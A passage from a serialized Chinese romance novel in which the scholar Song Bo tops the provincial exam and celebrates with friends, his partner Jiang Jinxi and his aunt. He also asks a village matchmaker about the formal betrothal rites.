路砚知大步走到红榜前,直接指着榜上第一名的位置跟宋泊说:“你瞧,你就在这儿。” 红纸上写黑字不太明显,宋泊也是走得近了才看清榜上“宋泊”两个字,为了防止同名不同人的事儿发生,乡试以后的考试都会把籍贯写上,这样双重保险下来,谁上了榜便不会出什么问题。 宋泊仔细对着后面的籍贯,确定籍贯也是正确的,才相信确实是自己得了解元的名头。他猜着自己能上榜,也猜着应该在前头的名次,却没想到这个前头这么前,竟然占了榜首的位,想来应该是天时地利人和全占了,才得了解元的名头。 迟来的喜悦漫上他的心头,他瞧着红榜上自己的名字,忍不住上扬嘴角笑了。 周围百姓听着解元来了,纷纷驻足停留瞧着宋泊,这可是解元,乡试第一名,未来的官差老爷。 “恭喜解元,贺喜解元。” “没想到宋解元不止学识好,长得也很俊呐。” “宋解元可定了人家,没有的话看看我家姑娘呢?” 贺喜的人有,调笑的人也有,不知不觉宋泊被人群围着,绕在他旁边的人越来越多。 这般喜日,没人会发脾气,宋泊当然也是如此,他将怀里的钱袋拿出来,想着分享喜气,给周围百姓们分了贺喜钱。 既见了俊男又拿了喜钱,百姓们乐呵着,将宋泊夸上了天。 宋泊分了两刻钟时间,把钱袋里的钱分光才让大伙儿散了。 等人群散去,路砚知一抹脑袋上的汗,“得了第一名便是这种阵仗吗,可是骇人。”九月是不热,可被人群围着,一围就是两刻钟,不热也变得热了。 宋泊将空瘪的钱袋折好塞进怀中,道:“难为路兄陪我一块儿待在人群中两刻钟。” “这倒是无事。”路砚知重回红榜,他跑到红榜尾端,指着自己的名字,有点儿像小孩与自己老师炫耀办说着,“宋弟你瞧,我在这儿呢。” “嗯,路兄可是厉害。”宋泊夸道。 路砚知明明比宋泊大了几岁,此时却高兴地屁颠屁颠跑到宋泊身边,“宋弟当真觉着我厉害?” “当真,无一丝假话。”宋泊好歹与路砚知同寝生活了一年多,知道路砚知喜欢别人夸他,三十二名又如何,那也是实打实地打过上千名学子得到的成绩。 “太好了!”路砚知欢呼着,“今日我请客,咱们定要大吃一顿!” 这次晚餐并不是在外头吃的,而是在路砚知的亲戚家吃的,路家知晓路砚知上了榜,当即让宅中厨师做了十几道好菜,要犒劳路砚知。 来抓路砚知的人是路大伯宅子中的管家,管家一听宋泊与路砚知在一块儿,赶忙也邀请了宋泊。 宋泊本来要拒绝路砚知的,毕竟别人的家宴他混进去算什么事,只是挨不住路砚知和路大伯宅中管家的热情相邀,这才同意了去路宅吃饭的事儿。 路家是几十年的商贾大家,家族资本雄厚,买的院子比一般官员还大,只是碍于平民的身份,最多只能建三进院。 宋泊走进路宅,路宅很大,单是一个院子便瞧不着头,院子内还建了个人工池塘,池塘上设有亭子,亭子下肥大的锦鲤在池水里游着,路宅的伙食应当不错,不然不可能每条鱼都胖成了椭圆形。 管家领着宋泊和路砚知先在客厅等着,他一路小跑着往路大伯的卧房去,跟路大伯说他请来了宋泊。 一听自家管家把宋解元请来了,路大伯是账也不看了,直接从衣柜找出自己最庄重的衣服换上,他让管家把宋泊请到正厅,他随后就到。 宋泊瞧着客厅装潢,原木桌摆在客厅正中央,边儿配了四把圆椅,桌上摆了茶具,茶具是青花瓷样,尽显淡雅,在桌椅旁儿放有屏风,屏风上画了风景图还配了诗,宋泊不知道这是谁的杰作,但看来确实有功力,画栩栩如生、字也写得恰到好处。 “路兄,你大伯家的装潢可是淡雅。”宋泊夸道。 “我大伯就是喜欢文人的东西,要不是他实在没有读书的头脑,不然他肯定要在科举上死磕。”路砚知说起自家大伯的坏话来可是一点儿不留情面,“也是因为如此,我大伯可喜欢你了,之前我与他说过你的事,每次回来大伯都要叫我邀请你来。这次好了,他遂愿了,你等会就瞧着,他定然身着一身正袍过来。” 宋泊笑了,“没必要穿得那么庄重吧?” “你且看着就是。”路砚知说道。 第128章 第一百二十八章回家。 路砚知果然了解自家大伯,宋泊和路砚知被管家引到正厅的时候,路大伯已经坐在正厅上位,身着一身白色锦线衣袍,腰间还配了块玉。恒国文人多爱白色,路大伯这么穿也是想迎合宋泊文人的喜好。 瞧着宋泊来了,路大伯一方面不想自己看起来太急迫,一方面又想赶紧与宋泊打招呼,这般矛盾起来却变成了同手同脚。 路砚知指着大伯毫不客气地放声大笑,“大伯,你同手同脚了。” 管家站在一旁也忍俊不禁。 路大伯直接抓着路砚知指着他的手,对着他后背就是一掌,啪的一声巨响,路砚知转笑为哀,大喊路大伯下手太狠。 路大伯没有理会他,他径直走向宋泊,“你就是宋解元吧。” 宋泊毕竟是小辈,虽说现在身上有了个解元的名头,但也不能因此就耍大牌,他先朝路大伯行了一礼,随后应声:“回路老爷,正是。” “叫路老爷就生疏了。”路大伯请宋泊入座,道:“跟砚知一块儿喊我大伯就成,你帮了砚知那么多,我们早将你当成了自家人。” “如此便谢过大伯。”宋泊答道。 路砚知等背上的疼痛感消失以后,才跟着坐了下来,他坐在宋泊旁边的位置上,侍人给他俩倒了茶。 路砚知简单尝了口,便尝出这是路大伯压箱底许久,轻易不随便拿出来的观山红,这茶只在南面的观山上长,观山地形险要不说,每次长茶还只有春雨前的能喝,若非路大伯认识卖观山茶的商人,不然以他们商人的身份,就算是有钱也买不到这观山茶。 路砚知用胳膊肘碰了下宋泊,而后小声与宋泊说道:“快尝尝,这可是我大伯珍藏的观山茶,以往都不拿出来喝的。” 闻言宋泊将茶盏拿起来,他先是闻了茶香,而后才细细品着茶味。他对茶其实没什么研究,但既然路砚知说这是路大伯珍藏的便代表这茶很好。茶香经久不散,只是呡了口茶水便唇齿留香,确实是好茶, “多谢大伯的好茶。”宋泊谢道。 “宋解元喜欢吗?喜欢便拿些回去泡着喝。”路大伯说着话还睨了管家一眼,管家心领神会,让侍人再给宋泊续上茶水。 听路大伯这么说,路砚知的下巴都要惊掉了,原来大伯喜欢宋泊喜欢到这种程度,其他人与他要这观山茶他都是一毛不拔坚决不给,到宋泊这儿却变成了拱手相送。 “大伯不必如此客气。”宋泊拒道:“宋泊不会泡茶,家中人也不会,这观山茶到了我这儿只能是暴殄天物,改日我若想喝了,再登门拜访,大伯别嫌我烦人才是。” “我怎会嫌你烦。”路大伯笑道:“我巴不得你多来,你来了寒舍才能蓬荜生辉。” 宋泊坐在椅子上,朝路大伯拱手,“大伯谬赞。” 宋泊在路宅的事儿很快便传到路家人耳朵里,所有在霞县能赶回来的路家人纷纷往回赶,等到夕阳西下时,正厅里已经坐了十来个人。 “宋解元今年多大了?可有婚配?” “宋解元长得可是俊俏,不像我那侄儿砚知,就只会读书了。” “宋解元教砚知可是累了吧,砚知就会麻烦人。” 路家亲戚左一句、右一句的问着,宋泊也不嫌烦,一句句答了下去。 “我今年二十三,虽无婚配却已有意中人。” “许是你瞧久了路兄,其实路兄也是俊俏之人。” “教路兄并不麻烦,路兄本就聪慧,一点即通。” 这话听来就是悦耳,路家人更是喜欢宋泊,一会儿让宋泊吃糕点,一会儿让宋泊听曲儿,最后还是路砚知看不过眼,把宋泊拉到前院亭子里透透气,这才稍微清净下来。 “不好意思啊宋弟,我家人就是热情。”路砚知说道。 “无妨,这样的家人倒也是简朴有趣。”宋泊应道。 路家和宋家可谓天差地别,路家亲戚都一心向着路砚知,而宋家只有宋茶栽是真心对他好。 不过宋泊也不羡慕路砚知,毕竟一家有一家的经要念,宋茶栽还在他身边便足以。 “不过他们也说出了我的心里话。”路砚知后退一步,一本正经*地朝着宋泊重重行了一礼,他弯着腰,双手抬在脑袋前,久久未抬起,“多谢宋弟,此大恩我无以为报。” 宋泊托住路砚知的双臂,将他扶起,“路兄礼重了,我当你是好友在如此相待,你也当我为好友就是。” 路砚知觉着自己真是几世修来的福气,才能在这一辈子遇上宋泊这样的贵人。 路砚知笑道:“好!既然宋弟这么说,那我便不那么客气了。” 路家的晚宴准备得极其丰盛,十五人坐在一张巨大圆桌边,二十道美味佳肴摆满了桌。 宋大伯坐在主位,他转头看着宋泊,说:“宋解元你尽管吃,菜品不合胃口你便与我说。” 路家人喜欢宋泊,给宋泊安排了路大伯左侧的位置,这可是个相当受重视的位置。 路砚知与宋泊最熟,他便坐在宋泊旁边。 有路砚知陪在身边,哪儿有不清楚的地方他都会及时告知他,宋泊倒也觉着自在。 一顿饭吃了一个半时辰,这时回去霞县有些太晚了,宋泊便在银湖州又留了一晚,翌日与路砚知一同做了马车回银湖州。 江金熙刚看完一个病人,正从医馆门前过时,瞧着宋泊的身影出现在门口,常乐比他更快一步冲到宋泊身边,扒着宋泊的小腿摇尾巴。 “你怎么回来了?都没送信叫阿朝去接你。”江金熙喜出望外,快步走到宋泊身边将他身上的行囊拿下来。 “路兄与我一道,我便蹭了他家的马车。”宋泊答。 医馆内没事的人全都聚了过来,每个人脸上都带着满满的笑意。 吴末拍了下宋泊的后背,豪声道:“好小子,不愧是师姐的徒弟,竟拿了个解元回来。” 听着吴末这么说,宋泊奇道:“你们怎么知道我得了解元?” “银湖州的官差以为你在霞县,昨日便报喜来了。”江金熙说完,让宋泊在前院等他一下,他小跑着去了后院,把宋泊的行囊放好以后,将官差送来的文书拿给宋泊瞧。 解元比院试榜首更难一筹,因此这次送来的文书也比之前的更多。 宋泊拉着江金熙坐在医馆内的椅子上,把装有文书的托盘放在桌上,一卷一卷细细瞧来。 第一卷是证明身份的文书,文书上头写明宋泊考过乡试成为举人,并且在举人旁还特意标注了宋泊是此次乡试的解元,有了解元这两个字,这本文书就算是镀了层金,比其他举人的文书华贵不少。 第二卷是举人特权说明,举人可以免除百亩田赋和徭役,比秀才免除的更多,见官不跪,犯死罪可得三次特赦。除此以外,因着宋泊是解元,官府还会送来一块“文魁”的匾额,可以挂在家中彰显身份。 第三卷是官府送的贺礼目录,这次官府更大方了,赠了一百五十两,三套笔墨纸砚,锦布五匹,与科举有关的书籍几十本,还有位于银湖州的十亩地契一张。 宋泊把三卷文书合上,这些东西拿到手中,他的解元身份才真正做实。 “你怎的如此厉害,头回乡试就拿了解元回来。”江金熙完全变成宋泊迷弟的模样,他双手撑着脸颊,双眼放光地瞧着宋泊。 宋泊八月三十一便去了银湖州,却迟迟等不来消息,宋泊每三日送一封信来,都说红榜未放,江金熙还以为宋泊是落了榜不想回家编了这么个理由出来,便由着他在银湖州散心。只是没想到宋泊还未等来,却等来了报喜官。这次的阵仗比上次更甚,报喜官后头跟了八个人,一路敲锣打鼓着,欢喜得不行。 见着报喜官就证明宋泊上了榜,宋泊不在医馆中,便由江金熙接待了报喜官。 听到报喜官说宋泊得了解元,全医馆的人都愣了,包括江金熙。宋泊上了榜已是厉害,不曾想他居然厉害到这般地步,又拿了个解元回来。 江金熙深刻觉着自己找到了埋在泥土中的金子,现在这个金子越发闪亮、夺目。 “就是呀主君,你怎么那么厉害!”简言也跟在一旁夸着,郎君说过科举不好考,可他家主君每次都能拿下第一名,这不就代表他家主君是个天才。 “你们再夸我,我可要翘尾巴了。”宋泊笑道,顺手揉了把简言的脑袋。 “有这般成就,允许翘尾巴。”江金熙答。 有能力的人自豪一段时间又如何呢? “为了庆祝宋泊得了解元,咱们晚上吃古董羹。”江金熙道。 为了乡试,宋泊又苦了一年,春节时的古董羹也没吃着,这次正好,借着庆祝宋泊得到解元,可以再把古董羹摆上。 “现下吃古董羹会不会太热了?”宋泊问。 南方的九月还带着八月的暑气,古代没有空调,古董羹需要明火,坐在旁儿吃古董羹定然会被热出一身汗来。 江金熙早有所料,在宋泊走进医馆的时候,他便决定今日要吃宋泊最喜欢的古董羹,于是在宋泊坐在椅子上看文书的时候,将阿朝派出去买冰,“无妨,我已经叫阿朝去买冰了,今晚的冰和古董羹,管够!” 听江金熙都安排妥当,宋泊也就不客气了,他想古董羹想了许久,春节没吃尽兴他可遗憾了,“那好,我想要多多的羊肉。” 难得宋泊提了次要求,江金熙耳朵一软,理智全无,“青桥,去市集买两头处理好的羊回来。” 第129章 第一百二十九章报喜。 宋泊还来不及拒绝,青桥就答应一声走出医馆。 “你买一头羊也太多了。”宋泊转头与江金熙说着。 牛作为有力的牲畜,恒国是不允许吃的,宋泊退而求其次要羊肉,没想着一次要两头,虽说他们医馆现在加上会计、医师和护院已经有了十二人,但十二人也不吃完两头羊呐。 “无妨,吃不完的我们明日炒菜吃。”江金熙牵住宋泊搁在桌子上的手,“难得的好日子,当然要吃得尽兴。” 确实是这个理,庆祝庆祝,食材当然要管够,宋泊决定今日丢了节俭的思想,大肆放纵一把。 两刻钟时间过去,青桥还真带回了两头羊,因着青桥是个大客户,卖羊的摊贩便用他的木板车把处理好的羊肉送了回来。 “这两头羊花了多少银两?”江金熙顺嘴问道。 青桥两眼放光,高兴极了,他走到宋泊和江金熙之间,说:“我还沾了公子那摊贩瞧着我眼熟,认出我是百安馆的药师,他之前带着他家夫郞来瞧过病,那病折磨他家夫郞良久,被公子一看,药到病除,可是感激我们,本来一头羊二两银子,他硬是要减去些银子,两头羊花了三两五十钱。” “这般好?”江金熙听着笑道。 “看来你在霞县已经出名了,江大夫。”宋泊轻揽着江金熙说道。 “那还是没你出名。”江金熙应声。 “无妨,等你医书写完公布于世,定会比我还出名的。”宋泊靠着江金熙的脑袋说。 今日准备的是十二人份,人数太多大伙儿又都有自己的事儿不能一心备菜,江金熙就顺便从旁边的饭馆里请了个厨师来,有厨师在,备菜效率事半功倍,酉时初就把十二人的食材都备完了。 为了庆祝宋泊考得解元,江金熙特意提早关了店,送走最后一个病人,酉时中,百安馆关门休息。 百安馆内没有足以容纳十二人的大桌子,十二人便分成两桌,六人六人一桌。 吴末举起酒杯高声道:“来,让我们再恭喜一下宋泊,考得乡试第一名。” 这张桌子的人和另一张桌子的人都举起了杯子,大家高兴,说出来的贺词各不相同,一时间热闹非常,宋泊和江金熙对视一笑。 宋泊站起身,他环顾四周,看过每个人的脸,“感谢大家,今日大家便敞开肚皮吃,管够。” “好耶~” 古董羹燃上火,锅中咕噜咕噜不停冒泡,宋泊早就忍不住,他先上手烫了一块子羊肉,熟了的羊肉都放进江金熙的碗里,第二筷子才送进他的口中。 沾了酱料的羊肉又鲜又嫩,汤汁在他口中蔓延,宋泊幸福地眯起眼来。 除了学习中的宋泊,江金熙最喜欢的就是吃古董羹时的宋泊,简单的食材从锅中一过,便能让宋泊露出这般表情。宋泊开心,他也开心,为了多多瞧这副表情,江金熙一刻不停,一直给宋泊碗里送烫好的肉和菜。 宋泊嚼着口中的羊肉,问:“你怎的自己都不吃。” “我在吃呢。”江金熙手往旁边一挪,露出碗里放着的菜,他给宋泊烫三筷子会给自己留一筷子,故而也不是没吃,只是吃得慢些。 “今日的食材当真好,我都觉着那两头羊没得剩了。”宋泊说。 新鲜宰杀的羊肉就是与放过一阵的羊肉不同,羊肉新鲜又做了去骚味的处理,一口一口吃来欲罢不能。 “那你便多吃些。”江金熙语气心疼,“瞧你去县学两年,比以前更瘦了,谁家八尺男儿竟然还没一百二十五斤重呢?” 宋泊身高一米八四,算起来正常体重最低也得是一百二十五斤,可宋泊这两年在县学照吃、照喝,不知道是不是积极用脑的缘故,体重上不去,在一百二十斤左右,一直是江金熙心中一个首要之事。 体重得与身高相匹配,不然等会学一半累晕了可如何是好。 宋泊乖巧应声,“是,江大夫教训得是,我定然多吃些,争取多长几斤肉。” 一场古董羹吃得大伙儿尽兴,大家还掌握着度,没有喝到大醉,都还能自己找路回家。等到亥时初,医馆内就只剩下他们几个家里人在。 宋泊收拾着端着锅子往厨房去,顺嘴问了与他同行的江金熙之后医馆的安排。 “怎么了?”江金熙问。 “我想带你一起回村里跟大姑说这个好消息。”宋泊道。 江金熙应当也很久没瞧着宋茶栽了,最近一次见面应该是三月前宋茶栽来医馆帮忙的时候。江金熙有自己的医馆,宋茶栽要为村里的人看病,两个人都忙得团团转,抽不出时间见面。 这次正好可以借着报喜的事儿,回去看看宋茶栽和刘南民。 “好呀!”江金熙想也未想便应了声,“最近医馆不忙,馆里的大夫忙活得过来,我可以请假几日。” “那我们明日出发?” “好。” 翌日辰时,宋泊和江金熙坐上阿朝的马车回近里村,九月中旬最是适合出游,窗外微风吹过,阳光的热度恰到好处,既不会太热也不会太凉。 “宋泊你看,那儿开了花,可是美哩。”江金熙趴在窗户边,双眼明亮地看着外头,白皙的手往窗外指去,在阳光下泛着光。 宋泊瞧着江金熙的发丝随风游动,忽然想着他与江金熙已经很久没外出玩过了,两人跟两个陀螺一般转个不停,该找个日子出门散散步休息休息。 到近里村的时候正值午时,宋茶栽和刘南民在家中吃饭,听到外头传来马车的声响,宋茶栽一猜就是宋泊和江金熙回来了,果然,从房内出来,就瞧着宋泊正牵着江金熙从马车上下来。 年初寒灾以后,宋泊便请人给宋茶栽建了个诊病的诊室,线下诊病和生活分开来,宋茶栽的院子又往外扩了几分,是村里除里正以外,拥有最大院子的人。 宋茶栽快步迎了上去,与宋泊和江金熙说道:“怎的这么迟才回来?” 她在村中一直算着日子,乡试八月十六考完,结果最晚应该在八月三十一出来,可宋泊和江金熙迟迟没有回来,她便担忧着,许是结果不好,不敢回家与她说。 “这不是结果刚出我们立刻就回来了嘛。”宋泊应道。 江金熙下车后,宋泊和阿朝将准备的东西从马车上扛下来,这箱子瞧来便重,不知道装了些什么东西。 宋茶栽看着宋泊和阿朝把箱子往房内抬,便转过头问江金熙,“这箱子是?” “我和宋泊给你带的东西。”江金熙答。 好不容易回来一趟,当然要带东西回来,江金熙给宋茶栽带了些村里不常见的药材,宋泊则是把官府送来的东西分了一半给宋茶栽。 听江金熙这么说,宋茶栽立即跑进房内。宋泊刚把箱子放下,就被宋茶栽拉着,“来就来,还带什么东西,我和你姑父在村子里生活不缺什么,你再扛回去,我不要。” “都是些必备品,村里也用得上的。”宋泊说。 宋茶栽和刘南民只会在春节的时候买两套新衣裳换上,平时穿的衣服都是那些旧衣裳,虽说衣服上没有补丁,但到底久了,穿来既不舒适也不防寒御风。宋泊便将官府送来的布匹拿了一半出来,让宋茶栽自己找人去按着他们喜欢的款式做衣裳。 “拿回去拿回去,花这么大笔钱买东西来,亏死了。”宋茶栽说。 “一分钱未花哩。”宋泊答。 “为何?”宋茶栽愣了,哪儿有买东西不花钱的道理。 “这些都是官府送的,我一分钱未花。”宋泊双手叉腰,口气中带着满满的自豪。 “官府?”宋茶栽脑袋一转,面上笑容乍现,“是不是有好消息了?” 什么人会得官府的贺礼,除了考中之人,宋茶栽想不到其他的人。 江金熙后宋茶栽一步走进屋内,屋内宋茶栽拉着宋泊,刘南民则是搁了饭碗在阿朝旁边瞧着箱子里的东西,他正巧听着宋茶栽说的话,便几步过去,在宋茶栽耳边说道:“宋泊得了解元。” 解元? 解元! 解元!!! 宋茶栽惊得手一松,两眼睁圆,好一会儿才缓过神来,高声欢呼,“解元!咱们宋家出了解元!” “什么?”这下刘南民也不瞧那些东西了,他也挤了过来,问:“阿栽,你说什么?” 宋茶栽喜气洋洋再次说着,“我说,咱们侄儿宋泊得了乡试第一名,是解元了!” 得到解元可是不易,几百年来近里村的读书人出过几十个,却没一人考过乡试,最厉害的只过了院试,现在在其他处开了个私塾教书。现下宋泊不仅考过了乡试,还是榜上第一名,不仅是宋家,整个近里村都跟着沾光。 刘南民也笑了起来,他拍着宋泊的后背,说道:“好好好,好儿郎就是有志气。” “所以只有金熙的草药花了些银两,其它东西我都没花钱,你们尽管收去用了就是。”宋泊怕他们还不愿意收,又补了一句,“不然官府送了那么多东西,我和金熙两人用不完,搁在一旁也是生灰,还不如你们帮我们用一些,物尽其用也不浪费。” 话都说道这个份上,于情于理宋茶栽都不该再拒绝了,她让刘南民帮阿朝一起把东西搬到里屋去,自己则拉着两人坐在厅内,“对了,你们还没吃饭吧,我再去添三副碗筷,咱们吃饭。” “谢谢大姑。”宋泊和江金熙一起应道。 第130章 第一百三十章商议。 夜了,宋泊和宋茶栽、刘南民一起,在厨房里洗碗筷,留江金熙一人在房内擦桌子,他那儿的活简单一些,只一人就够了。 “大姑。”宋泊一直想着提亲的事情,现在终于逮着江金熙不在的机会,可以跟宋茶栽商量商量。 宋茶栽正洗着盘子,闻言头抬也未抬,直接让宋泊说事。 “明年会试在京城考,我想提早些日子,春节前便上京去。”宋泊说,江金熙今年未回京过年,明年定然得回去,他便可以与他一道。 “为何?”宋茶栽问。虽然会试是大事,可提早去也没有什么用处,三月会试,二月头上京去适应一下就行了,春节前就去,那可得在京城住上个两月。 “我答应了金熙,乡试上榜就去他家提亲。”宋泊解释道。 听到这话,宋茶栽洗盘子的手停了下来,她招呼着刘南民与她一起,两人凑到宋泊身边,宋茶栽道:“可算是要提亲了,你一直没有动作,大姑可怕金熙被别家人定了去。” 在恒国,父母之命媒妁之言,宋泊和江金熙一直未有定下的婚约,让宋茶栽每日都提心吊胆的,两人的感情是很好没错,可她就怕哪儿杀出来一个程咬金,棒打鸳鸯,那可如何是好。 现下宋泊终于主动提出了要提亲的事儿,宋茶栽可高兴了。 “那些流程若不懂,只管问你姑父。”宋茶栽道,几十年前他们成婚的事儿都是刘南民自己张罗的,他应当在这事儿上有一定的经验。 “问我哪儿有用?”刘南民赶紧出言道:“宋泊娶的是丞相家的哥儿,那排场定然与我们的不同,我那些经验可是一点儿用不上。”刘南民想着村中有专门人负责这事儿,便提议着道:“村里不是有媒人吗,我们过去寻她问问才是真道理。” 宋茶栽想了想,应声,“也是。” 村里成亲简单的很,什么八抬大轿,什么高头大马,自然全没有,都是喜服一穿,从一家送到一家在请村里人吃个饭就完事了。 可江金熙不同,他含着金汤匙出生,以这般排场迎娶入门,就是江家同意了,他们宋家也是万万做不出来这事儿的。 宋茶栽很喜欢这个侄夫郎,宋泊现在考得几次榜首,家中银钱不算缺,甚至在村中、在镇上都能算的上富裕的,成亲这事还需从长计议,要在他们可以接受的范围内,将排场搞得最大,让宋泊和江金熙成为人人羡慕的神仙眷侣。 这般想着,宋茶栽好似已经看见他们成亲时,宋泊从高头大马翻身而下,把江金熙从喜轿中牵出来的模样,越想她越觉着高兴,嘴角不自觉上扬着笑了起来。 宋泊和刘南民两人对视一眼,不明白宋茶栽为何忽然笑了起来,只是这笑短时间还停不下来,刘南民拿手在宋茶栽眼前晃了晃,这才把她的魂招了回来。 “这样,明天我拉着金熙跟我一起看诊,你们就出去寻宋媒人,她做媒人做了几十年,主持过得喜宴没有一千也有几百,她应当会清楚一些。”宋茶栽道。 在村中行医便是这个好处,看病时间短不了,聊着聊着总能知晓谁家做什么营生。 “好。”宋泊应道。 翌日一早,宋泊和刘南民就借着要去地里干活的理由,出了院子去找宋媒人。 宋媒人促成的姻缘多,不管是好缘还是恶缘,总归是成了缘,故而在村里还算是个名人,找个村民问问应该就能知道她住哪儿。 边儿走过一个拎着菜篮往家赶的老妇,宋泊伸手揽着,正打算开口问路,那老妇反而比他快上一嘴,“这不是宋解元嘛!今日回来村里,可是寻宋大夫?” 老妇瞧着宋泊,面上满是喜气,她接着夸道,“之前我瞧着你时,你才与我腿儿同高,现在竟然拿了解元,真是福气临门,你和宋大夫都是有出息的人。”她又瞧着与宋泊同行的刘南民,说:“你可是好福气,娶了宋大夫还有这般有出息的侄儿,可是令人羡慕。” 没想着只是问个路却被老妇一顿夸,宋泊从怀里拿了贺钱出来,分了十钱给老妇。 老妇从没收过这种钱,自不明白这是考中上榜的贺钱,她连连摆手,拒道:“你这是做什么?” “这是考中的贺钱,您尽管收下,无碍的。”怕老妇不明白,宋泊还详细的解释一番,老妇一听原来是这个原因,才安心地收下了钱。 这钱收了,老妇一开心,贺词一句一句从嘴里蹦出来,宋泊还着急找宋媒人,只好打断老妇,问宋媒人的住址。 老妇住在近里村中几十年,谁人住在哪里她一清二楚,有了老妇的指路,宋泊和刘南民很快便找着了宋媒人家。 刚从宋茶栽家中出来时,宋泊便担心没有打招呼直接寻来会得一场空。现在好了,他们也是运气好,宋媒人没有外出说媒,正坐在院中不知绣着什么。 “宋媒人。”刘南民出声喊道。 “哟,这不是宋大夫的夫君吗?今日怎的到这儿来了,可是家里有了适龄人需要说亲呢?”宋媒人将手中物什往边儿一搁,边说着话边把院门打开,迎了宋泊和刘南民进来,“不会是你旁边这个俊俏小伙子要说亲吗?” 在村里能找媒人说亲的不是年龄大了,就是容貌或身体有些小毛病的,俊俏之人在哪儿都抢手,哪儿轮得到她们来说亲。 “确实是他的事,但并不是说亲。”刘南民说。 “咦?”宋媒人盯着宋泊瞧了会儿,觉着有些眼熟,往日去宋大夫那儿看病的时候好像看过这个人,“这不会是你侄儿宋泊吧?” “宋媒人好眼力,他确实是我侄儿宋泊。”刘南民说道。 “宋解元来了,可快坐。”宋媒人从院子里其它地儿搬了两把椅子来,现在天气不热,在院子里吹着秋风坐着谈事也挺舒服的。 “他得解元之时,村中人尽知了?”刘南民问。 路上遇着不少人,都唤宋泊为宋解元。 “那可不。”宋媒人说,“城里的官差来了,那阵仗可大,大伙儿都知道的。” “那么,宋解元可有何事?”宋媒人问。 “我这侄儿已经有了意中人,他们两情相悦准备定亲,只是这意中人身份华贵,所以特来问问你,与贵族人家定亲的事儿。”刘南民说。 “身份华贵?”宋媒人抓着关键词,她促成的姻缘多,也是有几例门不当户不对的农家与贵族的婚姻,贵族等级不同,相关的定亲排面也不同,她问,“意中人是何家人?县令家的?县尉家的?” “意中人是江家人。”宋泊答。 宋媒人思索了下,说:“江家人那……霞县那个姜县丞可不好说话,他喜欢金银珠宝,你可得……” 宋媒人巴拉巴拉说着,给宋泊听愣了,霞县姜县丞,那是何人? 刘南民打断宋媒人的话,他道:“你说错了,我侄儿的意中人是京城江丞相的哥儿。” “噢,是京城江家啊……”宋媒人先跟着复述一遍,随后才觉着有什么奇怪,“京城江家!” “那可是一人之下万人之上的丞相哥儿,他婚事的流程我哪儿知道呢。”宋媒人擦着脑袋上的汗。 没想到这贵人如此华贵,她最多只与县尉打过招呼,江丞相家哥儿的婚事她哪儿敢说呀,到时候哪个环节不顺心了,在把她头上的脑袋摘了。 “你可去城里寻别人去吧,咱们这村儿没人能给你说。”宋媒人道。 “那你与我说简单的流程,我再去寻别人问。”宋泊道。 古代成亲的流程与现代不同,繁琐复杂,每个环节都得谨慎细致。 江金熙是他的心上人,他的身份又是如此华贵,成亲这个哥儿一辈子的大事,当然得给他配上最好的,一丝错误也不能出。 简单的流程宋媒人倒会,讲个框架而已,宋泊怎么实施就不是她的事儿了。 “第一步,纳采,你且寻个有名声的媒人与你一同,携带上贺礼去哥儿家提亲。” “贺礼是何贺礼?” “村里提只活雁就行,你那……总得添些别物。” “而后呢?” “第二步,你得问名,哥儿和你的生辰八字得合得上,这才是个好姻缘。” “第三步,纳吉,八字相合,你就能拿着信物去哥儿家,这就订了婚。” “第四步,纳征,你要带多多的聘礼过去,在两方家族见证之下,写下婚书。” “第五步,请期,你请人算出吉日后要询问哥儿家人此日可否,若同意便是定下了婚期。” “最后一步,亲迎,你要去哥儿家接他入你家,在宴请宾客。” 宋媒人一下说了一长串,说得口干舌燥,“如此你可明白了?” “大致懂了,多谢宋媒人。”宋泊从怀里拿出准备好的红包交到宋媒人手中,瞧着钱,宋媒人便乐意多说几句,“村子里办喜事多不会按着流程来,但你娶的人不同,一步也少不得,而且贺礼的档次都需要往上提,才能配得上他的身份。” “是,我省的。”宋泊答。 “你既已是解元,身份也上去了,应当是可以的。”宋媒人说:“只可惜我不认识别的媒人,不然还能帮你介绍一下。” “无妨,今日听过已受益良多。”宋泊从椅子上起来,身子一弯,双手抬起,给宋媒人行了一礼,“多谢。” 宋媒人忙扶着宋泊直起身,“可使不得,郎才夫貌,我乐意瞧得。” 130-140 第131章 第一百三十一章浮白宴。 回去以后,宋泊和宋茶栽说了这事儿,宋茶栽懂得宋媒人所知有限,便与宋泊说过两日替他上镇寻人去。 宋泊倒是心中有个人选,等回霞县时路过传福镇,他去问问林武玉这事儿,林武玉在京城内待过,又是江丞相的弟子,问他最合适不过。 好记性不如烂笔头,宋泊怕自己忘了什么细节,便借着宋茶栽家中纸笔,坐在房中写着清单,刚刚有个村民来看病,江金熙在诊室那边,短时间内应该不会来寻他。 只是怕什么来什么,宋泊刚把宋媒人说的六点写在之上,还没来得及标注细节,就听着有脚步声往他这儿来,宋茶栽和刘南民的脚步都很实,只有江金熙的脚步会轻些。 宋泊赶紧把纸折起来,江金熙进来时正瞧着他跟做了亏心事一般,把纸条塞入衣襟之中。 江金熙走进屋内坐在宋泊身边,问:“你在做什么呢?” 宋泊想也没想,直接脱口而出,“我在复习乡试的题,没准会试会有一样的。” 江金熙狐疑地盯着宋泊瞧,给宋泊盯得一滴汗从下巴落了下去,“会试比乡试高一级,会试怎么可能会出与乡试一样的题呢?” 宋泊听着,好像是这个道理…… “你是不是做什么坏事呢?”江金熙又凑近几分,靠近宋泊。 “没有,当真是在复习。”宋泊说,他想把定亲的事当做一个惊喜,自然是能瞒多久就瞒多久。 “真的?” 宋泊猛的点头,“真的。” “那且信你一回。”江金熙道。 宋泊和江金熙在近里村待了三日,九月十九日清晨,坐上阿朝驾驶的马车回霞县。 进入传福镇的镇门,宋泊提议说要去李五家看看李会书,他去买些东西,让阿朝先载江金熙去。 江金熙不解宋泊为何这样安排,不过他还是听了宋泊的话,先坐着马车去了李五家。 买东西的时间不可能太久,宋泊便速战速决。他到县府找林武玉,不巧,林武玉外出办事不在府中,宋泊只能跟杂役交代着,改日再来。 好事多磨,不过林武玉不在县府而已,小事。 宋泊买了东西交差,李会书一听宋泊得了解元,高兴地一蹦三尺高,一直说着宋叔叔厉害。 宋泊与李会书说了之后学习的作业,过了午时都没等到李五和阿篮,只好先回霞县。 除了定亲的事,宋泊还一直念着要外出的事,晚上与江金熙躺在床上正待入睡时,他便提了此事。 宋泊在县学里读书,江金熙就在医馆里看诊治病,一年以来百安馆的名声是打出去了,他却觉着累得慌,正好宋泊提了这个建议,他也觉着出去散散步、看看美景休息一番正合适,于是不假思索便回答着:“好呀,你想去哪里?” 